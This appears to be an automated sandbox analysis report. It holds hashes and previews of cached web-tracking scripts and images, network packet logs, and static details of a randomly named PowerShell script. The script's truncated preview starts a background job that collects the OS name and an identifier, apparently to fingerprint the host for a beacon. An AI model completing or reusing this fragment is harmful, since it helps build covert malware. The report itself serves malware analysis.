SSDEEP:	96:WbgR1QEnN5ejImVB/b1ylcf8SWJwKfcuec29rRFD0QJUGlIQjpu9r:2gFnNojImVVM+WmKUWarz03GlIQjEN
MD5:	990086221B416E7CF0E7B33A433DAEC2
SHA1:	0487F6E74C187A757218732CD18DE285B90DEBAB
SHA-256:	F95A60DC0E8E87DDCDB52A11C0A74048A55D7083EA288B252DFBA85BF3E74914
SHA-512:	E73C7168AA6A8BFFA8632AD32E3E8FAF760A6781869F6212C3804E6B5D57CAD7EF0089FC3350B2C666B0E2477AED01E13A992DCE9457FE917C79D9F233E33059
Malicious:	false
URL:	https://tags.tiqcdn.com/utag/concur/concur/prod/utag.1287.js?utv=ut4.39.202409041647
Preview:	//tealium universal tag - utag.1287 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..var uetq=uetq\|\|[];try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}els

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (521)
Category:	downloaded
Size (bytes):	1251
Entropy (8bit):	5.43076853772861
Encrypted:	false
SSDEEP:	24:md7pIgWcbMdRKLmOeQSfmFtHXRWYxRWZgRK+uKF69FxPg6F/ysbVFyIF/IFKe+C+:a7phWzRK4ZcVwYxwTlLxg6FKWrSuCMrT
MD5:	CB731CC5C2BD9F31D6BFEB19F3C8B1FF
SHA1:	16ACA1C951A03EDD875B99BB8D04F01FA19104AF
SHA-256:	5206536707C84BAA892D3C3231B351985EE828CB8B9C0BD8DB42CD3363995FC4
SHA-512:	61A3C5029F6AA6D1EA60711B5BFBE4DF989F8EFB1999919B017C5391A537F5D9245E72184298A8DDA85CFCB92ECACAEA34ADC6C485B04C72AB9CF0AB33B0D976
Malicious:	false
URL:	https://munchkin.marketo.net/munchkin.js
Preview:	/. Copyright (c) 2007-2023, Marketo, Inc. All rights reserved.. * See https://developers.marketo.com/MunchkinLicense.pdf for license terms. * Marketo marketing automation web activity tracking script. * Version: prod r908. */. (function(b){if(!b.Munchkin){var c=b.document,e=[],k,l={fallback:"163"},g=[],m=function(){if(!k){for(;0<e.length;){var f=e.shift();b.MunchkinTracker[f[0]].apply(b.MunchkinTracker,f[1])}k=!0}},n=function(f){var a=c.createElement("script"),b=c.getElementsByTagName("base")[0]\|\|c.getElementsByTagName("script")[0];a.type="text/javascript";a.async=!0;a.src=f;a.onreadystatechange=function(){"complete"!==this.readyState&&"loaded"!==this.readyState\|\|m()};a.onload=m;b.parentNode.insertBefore(a,b)},h={CLICK_LINK:"CLICK_LINK",.VISIT_WEB_PAGE:"visitWebPage",init:function(b){var a;a=l[b];if(!a&&0<g.length){a=b;var c=0,d;if(0!==a.length)for(d=0;d<a.length;d+=1)c+=a.charCodeAt(d);a=g[c%g.length]}a\|\|(a=l.fallback);e.push(["init",arguments]);"150"===a?n("//munchkin-cdn.marketo.

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	7428
Entropy (8bit):	7.963035929122139
Encrypted:	false
SSDEEP:	192:M9I2TUdSxakPhfWmk0O1hVkVCPxMN9bBnb:M9hTUdsPPhemk0mV5P2
MD5:	91A83F1AD23367014E70EED03F376609
SHA1:	797EF56FB67C46C515EB21924E6A405ADBCF7449
SHA-256:	EEC6FD01E7F259B15DEC5DA83F2C99D804ACB747F225DD4DB81AECFB394C5166
SHA-512:	EA8476FA33DDB69EAC91B21E33AEA46035D556A234962B0069E1F1559B6A6E4E7B1650B888E8DFDD75F54C13D9D186A9ABA3E12C0B24AC384C230AC090060171
Malicious:	false
URL:	https://www.concur.com/sites/default/files/twitter_logo.png
Preview:	RIFF....WEBPVP8X........W..q..ALPHB........:%.>.C:0 `K..."v..N.b........c..V...d."&...#..\|.Pa...~>.SWDL....^^^..:.\......J.}..R..hl.Z...Q...d.Z3-qQ....bQ)js...Sj..E.H..ih........M..yh.W'....c..z...C..kB..h.y.kKV.R.M..&........7.eF..<J.5...!n.%V...Jl.t.I..."vQb.]F.N..,..qfD./...D'wWIB....r.(....Q..T.?..z.zu...[.........l..uPVK.A.OmnG..ga.#...:....;............N@.L.c.u....1@..JQ.n.f.X........\...x.,.IF...Em)xn:.~5.r8"nQ..H<.........-h...D.4.......&.~..]..../..).0..x..Z%.o....i...+.]..]>.<.w..g..&..<.e.~.?5.L(.{.,U\|..<.f..-........A.?..D...f..H.e.,..gJ.AY..-....h..jb./..W.a.......r.6..hY..9..sP..h..X..s.V..b.-.F.a......-g....}.......w.bv...Z...I...j.......sQ...P.h.%0....y.....9.-..&tn7Q...9.[........jrh...Pq.B..[....-....U..0C...:+.@1+...<...b.L....(.K..!h.P.k...."...i....R...E.X...D.w..;Z .S.a.Ob......X......~j*R....X.g.5?!ke.h.(P.P.......cG..i6....T2K.n..5..=...A....XQZ..}Z.V.......K.l..:.Q..h...K.{._57.1w.l3...B{P..:....;g.o..A.E...+>5P

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1024 x 382, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	22342
Entropy (8bit):	7.966804266506231
Encrypted:	false
SSDEEP:	384:Ho6b67DWMUWeCLL1zJghUztZOfk3y8BWG8Z+oEPUYok0jPYUv73sH56:Ho3cPC9zJgejOAyqWIoqb0zYC73I6
MD5:	E481B515E616C9F2878478FEC08AB9B3
SHA1:	F11EFD8F79D2EF8A018C153954E6BC9961D5872C
SHA-256:	1348855AE9F7CC3E30FA30360D08F16C1BFDE042A84441788E255E3F6EADF352
SHA-512:	2E8DA1A3176BFA2F5D508EBD5DB78DD74390C82632935A3C52DD9CAB9DD789FC83D29C09BF366A4498E7C3E47B13A56CA395AC708F0D9EE3717DCAB361E6B81C
Malicious:	false
Preview:	.PNG........IHDR.......~.....9f7I....tRNS..[.".....orNT..w...V.IDATx..w....._s.H.E...Q@...%Xb.1.~...I....-....R.TD@.H..Q)"..bH,....{..;.=.....H.vog.=...w.....p8.X..p8...9....q...(c..p8......2.9....q...(c..p8......2.9....q...(c..p8......2.9....q...(c..p8......2.9....q...(c..p8......2.9....q...(c..p8......2.9....q...(c..p8......2.9....q...(c..p8......2.9....q...(c..p8......2.9....q...(c..p8......2.9.....\l..5..~^...........IUHG!y.3.d.{.b..(w\..GaX.. ..\|...W.-.^.r.9.....%..A.C..^.b.r.9...'n'..i.....[3G...@...;0..4*.j.r.9..3.?1..O..+.j.r.M...gQa8..8..9....(8.7...`.sT.us.;.....r...oD..b..({\ P....oM.c.TgM.b+.(w\........@..\..;..s..f..]...(.j........Kg.~..9...P`^ c...e.V..p-.........@lM.b+.p.@..2.s.....G.q]..........p]...... ....~S.us8\....X.0.s..W.[5....P`Z....w.us8\.....m.. .....G)..@!.i:. ...t....P@V..k..f4...9..k....?.....V.....@Ay.x......Dp...c.z.qF.A......Z.......g.[5........=......J..Q0\..`.._......9....(...........c..X.>....._8h.p..{V.&~.}o.OWj...b[..+.\|.

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (941)
Category:	dropped
Size (bytes):	3398
Entropy (8bit):	5.325706052200164
Encrypted:	false
SSDEEP:	96:zbbC1ybVGQJUGgIlQaBaK9pp4iK49QptuDsGkD/KHAcr:3bCMbY3GvHaisiK49QLMMda
MD5:	D0BFC2C6A517E33F601501CFC080C76E
SHA1:	FD852B5075B86BA0A90436B2FB641F528B3120B4
SHA-256:	F53DDC4B7F8A65F2660688B33639D9360BD98D0BDEB6BCC09C4BACB18F9631BD
SHA-512:	58192DC4BCECF5AF14424DD0B3060355E310232A13AA637A77DEB0E2686D33C85A2B4F8336590AC33092F7DDF05007A1C2B1E13597995733513700C4BC7A8ACA
Malicious:	false
Preview:	//tealium universal tag - utag.1145 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.if(utag.ut.typeOf===undefined){u.typeOf=function(e){return({}).toString.call(e).match(/\s([a-zA-Z]+)/)[1].toLowerCase();};}else{u.typeOf=utag.ut.typeOf;}.u.ev={"view":1};u.scriptrequested=false;u.map={};u.extend=[];u.send=function(a,b){if(u.ev[a]\|\|u.ev.all!==undefined){utag.DB("send:1145");utag.DB(b);var c,d,e,f;u.data={"base_url":"https://js.driftt.com/include/","account_id":"7xzz4mtpike9"};utag.DB("send:1145:EXTENSIONS");utag.DB(b);for(d in utag.loader.GV(u.map)){if(b[d]!==undefined&&b[d]!==""){e=u.map[d].split(",");for(f=0;f<e.length;f++){u.data[e[f]]=b[d];}}}.utag.DB("send:1145:MAPPINGS");utag.DB(u.data);if(!u.data.account_id){utag.DB(u.id+": Tag not fired: Required attribute account_id not populated");return;}.if(!u.scriptrequested){u.scriptrequested=true;!function(){va

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4821), with no line terminators
Category:	dropped
Size (bytes):	4821
Entropy (8bit):	5.81446296340102
Encrypted:	false
SSDEEP:	96:1gWUfvlcY021mvn1blhad7OIJoodnbUp2dEjkRU6FH8QS:1DY0hf1bT47OIqWb1LFH8QS
MD5:	A6F8DC8DF150095C7CC58CB64156C978
SHA1:	34AF5D5F61B467A21C7B879AC5A44067F35CA023
SHA-256:	6AE8C1C98B573679191C4276A822B8098BA34BBA2973C9C8715306CB854E036E
SHA-512:	68844DD0ED677F8B636A8338115BB76AA3351AF2823541CF8F3AA2816959914B400DD3E50026451BCE67C0B7EDF717CC82ED96D22B368A23C14A7933F6A274A4
Malicious:	false
Preview:	(function(){var s = {};(function(){var h=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,d){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=d.value;return a};function k(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var d=a[b];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");} var m=k(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",t={},v={};function w(a,b,d){if(!d\|\|a!=null){d=v[b];if(d==null)return a[b];d=a[d];return d!==void 0?d:a[b]}} function x(a,b,d){if(b)a:{var c=a.split(".");a=c.length===1;var e=c[0],g;!a&&e in t?g=t:g=m;for(e=0;e<c.length-1;e++){var f=c[e];if(!(f in g))break a;g=g[f]}c=c[c.length-1];d=p&&d==="es6"?g[c]:null;b=b(d);b!=null&&(a?h(t,c,{configurable:!0,writable:!0,value:b}):b!==d&&(v[c]===void 0&&(a=Math.random()*1E9>>>0,v[c]=p?m.Symbol(c):"$jscp$"+a+"$"+c),h(g,v[c],{co

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4269)
Category:	downloaded
Size (bytes):	254310
Entropy (8bit):	5.545731101210838
Encrypted:	false
SSDEEP:	3072:BgCFkUeQ65WHeepJKQK0+xzOhOJjt+/Kjrg+aUP3meNIh7R5E6ch2+4jRTszb9:Fn+yV3cyGjrgzjWIhl5Zch2+4ja9
MD5:	B01D39AAE95DD67037DAEFC16B730C2D
SHA1:	C44173810F23CCEF60AA41092615ACE4C98FCA14
SHA-256:	17F11FB14D232DE37559DD71A75FE7A1C23263984A14709C0406C0DD174D9EDF
SHA-512:	7B3B30B4842D16C319CFA9C9AF06990A2BC53929E2CB383FA25D729FA81D127383AA09B9B95211D9D400D63782A648144BFD6D550D034826C20DDBA00DF97B68
Malicious:	false
URL:	https://www.googletagmanager.com/gtag/js?id=AW-1044530512
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"}],. "tags":[{"function":"__ogt_dma","priority":3,"vtp_delegationMode":"ON","vtp_dmaDefault":"DENIED","tag_id":105},{"function":"__ogt_1p_data_v2","priority":3,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_reg

Chrome Cache Entry: 531

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	24
Entropy (8bit):	3.8868421881310122
Encrypted:	false
SSDEEP:	3:HE9vZ6n:SMn
MD5:	0C5DAD92482D9A7C7C253510F5082465
SHA1:	534B458F99B4D0BB90C2CF2C4BB3703EF44A52BF
SHA-256:	5DBAF0A4FF0F8AC8C1B67550EEE84390B089604FFAF71183E417636C7E183AC5
SHA-512:	3B889A1DB2E3D3184886111A1B20FC54E6F14B006DB29B1D92741AF5C0A5B8299E78CDF6939437915F2B350E0BFC781BB8E96D4119172FF0CD2CB178487D71E0
Malicious:	false
URL:	https://js.driftt.com/core/assets/css/16.22abfce0.chunk.css
Preview:	body{margin:0;padding:0}

Chrome Cache Entry: 532

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22096), with no line terminators
Category:	dropped
Size (bytes):	22096
Entropy (8bit):	5.1556985111456
Encrypted:	false
SSDEEP:	384:BX0ZDdRzUjTFCa4oj2AlF8RrLPrGH/u2d2Cw25f80m92Nfx0K2Z2F2I02Kft0PEM:KZDdpUjwaPSA4gHMAZesNW4kacLi
MD5:	4EDDEEC95AFDA969B3D1B2FB970C1EB1
SHA1:	DA4C64223B6FF380F03AE2506DF526C22A9103D9
SHA-256:	42E2DD427DD9F9D45367C880C68289114B7DE56373FF8BDC664EA0FA3CE77880
SHA-512:	2D431F9BDB08263AB0BC0A596F13E35A136318DA42190EC08712FB1CF963A82EC56FD04231084C876F57853F5930E25F65B1F9D451BDDF140134C7C05F89A0C4
Malicious:	false
Preview:	(()=>{"use strict";var t={228:t=>{var n=Object.prototype.hasOwnProperty,e="~";function r(){}function o(t,n,e){this.fn=t,this.context=n,this.once=e\|\|!1}function i(t,n,r,i,c){if("function"!=typeof r)throw new TypeError("The listener must be a function");var u=new o(r,i\|\|t,c),a=e?e+n:n;return t._events[a]?t._events[a].fn?t._events[a]=[t._events[a],u]:t._events[a].push(u):(t._events[a]=u,t._eventsCount++),t}function c(t,n){0==--t._eventsCount?t._events=new r:delete t._events[n]}function u(){this._events=new r,this._eventsCount=0}Object.create&&(r.prototype=Object.create(null),(new r).__proto__\|\|(e=!1)),u.prototype.eventNames=function(){var t,r,o=[];if(0===this._eventsCount)return o;for(r in t=this._events)n.call(t,r)&&o.push(e?r.slice(1):r);return Object.getOwnPropertySymbols?o.concat(Object.getOwnPropertySymbols(t)):o},u.prototype.listeners=function(t){var n=e?e+t:t,r=this._events[n];if(!r)return[];if(r.fn)return[r.fn];for(var o=0,i=r.length,c=new Array(i);o<i;o++)c[o]=r[o].fn;return c},u

Chrome Cache Entry: 533

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 534

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1551), with no line terminators
Category:	downloaded
Size (bytes):	1551
Entropy (8bit):	5.179134902112385
Encrypted:	false
SSDEEP:	24:0E01AZ14iwMsom6ZjjzZv9QxlxUU/sJ5u/sRxQ75jmlxUi1X5E1d1I:0EG+1pfzZvKxf6TvQ7RmfJ
MD5:	E02707ECDE812F324896E0F17B53FD15
SHA1:	5CD85EFC46F386DCD5DDF5F21361BDCE7A8738EE
SHA-256:	E0B335357F085E132E87954EC6DCE3E35C2239193885E18BAC7427C62EB7EC3F
SHA-512:	4B0467273B38BBFC19D73E59F19238FC91B2A903BADF265A28E9CC262976D02431E5B3C160454A7FE91746297FC80D14C2E886DFADCBAE0042ACEE0DC1B2AF27
Malicious:	false
URL:	https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2F
Preview:	<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="#000000"><link rel="manifest" href="/core/manifest.json"><link rel="dns-prefetch" href="https://js.driftt.com" crossorigin><link rel="dns-prefetch" href="https://customer.api.drift.com" crossorigin><link rel="dns-prefetch" href="https://conversation.api.drift.com" crossorigin><link rel="dns-prefetch" href="https://targeting.api.drift.com" crossorigin><link rel="dns-prefetch" href="https://metrics.api.drift.com" crossorigin><title>Drift Widget</title><script type="text/javascript">__ENV__="PRODUCTION",__BUILD_ID__="20240924153838-5b77221",__REGION__=window.location.search.match("[\\?&]region=([^&#])")?window.location.search.match("[\\?&]region=([^&#])")[1]:"US"</script><link rel="preload" href="/core/assets/js/runtime~main.901f3121.js" as="script" crossorigin="anonymous"><link rel="preload" href="/core/assets/j

Static File Info

General

File type:	ASCII text
Entropy (8bit):	5.591933623672993
TrID:
File name:	KpCJCaQswCshdLQFFKLtCbGdhL.ps1
File size:	5'817 bytes
MD5:	be17c7ab0df8d563c589dcdbb19f94dc
SHA1:	fbe74dbc00000ff1880be5f58abd4aeb630eb012
SHA256:	0e71728e5e6a762923fc0372e2047e0d969bcc5efbf4f3010df2ff6576cab725
SHA512:	07b582a2f963fecffc30b99192e9594d356d218e5620b1ac7f9b7114c891f3f3764caff6cbb855fd6c1df8bb95adf70dc627ceb70f8416a6118f66abfcc0050d
SSDEEP:	96:I0lWNihWs7BXXlTP5gTuF2tTP2FPReQ92PXTP2l/xexyZdPReQ92PXTP2l/xexyp:I5ihWqHxPBMJP2FPRT9+P2l/xcyZdPRr
TLSH:	71C187BC7453C1E029CB93B5819E7CD0E16E91172173E99CB10E89F4BF8E76AC6C2422
File Content Preview:	$HBYZ = Start-Job -ScriptBlock {. $pMwsMsCudll = (Get-WmiObject -Class Win32_OperatingSystem).Caption. $whMCdewUtzazperqqMy = '25'. $B = 'f08366c6-5a8e-439d-b433-0f9900255d06'. $aBwY = [System.Net.WebUtility]::UrlEncode($pMwsMsCudll). $fRzw

File Icon


Icon Hash:	3270d6baae77db44

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 10:41:13.384133101 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 3, 2024 10:41:23.731758118 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:23.731802940 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:23.731879950 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:23.732152939 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:23.732167006 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:24.459237099 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:24.499757051 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:24.499799013 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:24.503532887 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:24.503634930 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:24.559109926 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:24.559516907 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:24.560215950 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:24.560250044 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:24.635874033 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.137351990 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.147533894 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.147557974 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.147604942 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.147614002 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.147660017 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.147677898 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.147677898 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.147680044 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.147697926 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.147702932 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.147721052 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.147732973 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.147741079 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.147773981 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.238735914 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.238754988 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.238795042 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.238821983 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.238837957 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.238862038 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.238931894 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.238974094 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.243881941 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.243968010 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.243978024 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.244031906 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.244991064 CEST	49736	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.245006084 CEST	443	49736	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.252343893 CEST	49752	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.252388000 CEST	443	49752	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.252497911 CEST	49752	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.253362894 CEST	49752	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:25.253376961 CEST	443	49752	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:25.338156939 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:25.338198900 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:25.338284969 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:25.338562965 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:25.338574886 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.002017975 CEST	443	49752	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:26.002274036 CEST	49752	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:26.002298117 CEST	443	49752	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:26.003351927 CEST	443	49752	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:26.003426075 CEST	49752	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:26.003830910 CEST	49752	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:26.003895044 CEST	443	49752	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:26.003917933 CEST	49752	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:26.047403097 CEST	443	49752	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:26.083909988 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.092957973 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.092976093 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.094053030 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.094125032 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.094614983 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.094681025 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.094788074 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.094795942 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.135251999 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.135255098 CEST	49752	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:26.135272980 CEST	443	49752	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:26.300654888 CEST	49752	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:26.363426924 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.373286963 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.373300076 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.373315096 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.373364925 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.373403072 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.373420954 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.373461962 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.458127975 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.458159924 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.458211899 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.458240032 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.458264112 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.458283901 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.460870981 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.460935116 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.460947037 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.460975885 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.460985899 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.461026907 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.511892080 CEST	49753	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:26.511929035 CEST	443	49753	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:26.660665989 CEST	443	49752	13.32.121.47	192.168.2.4
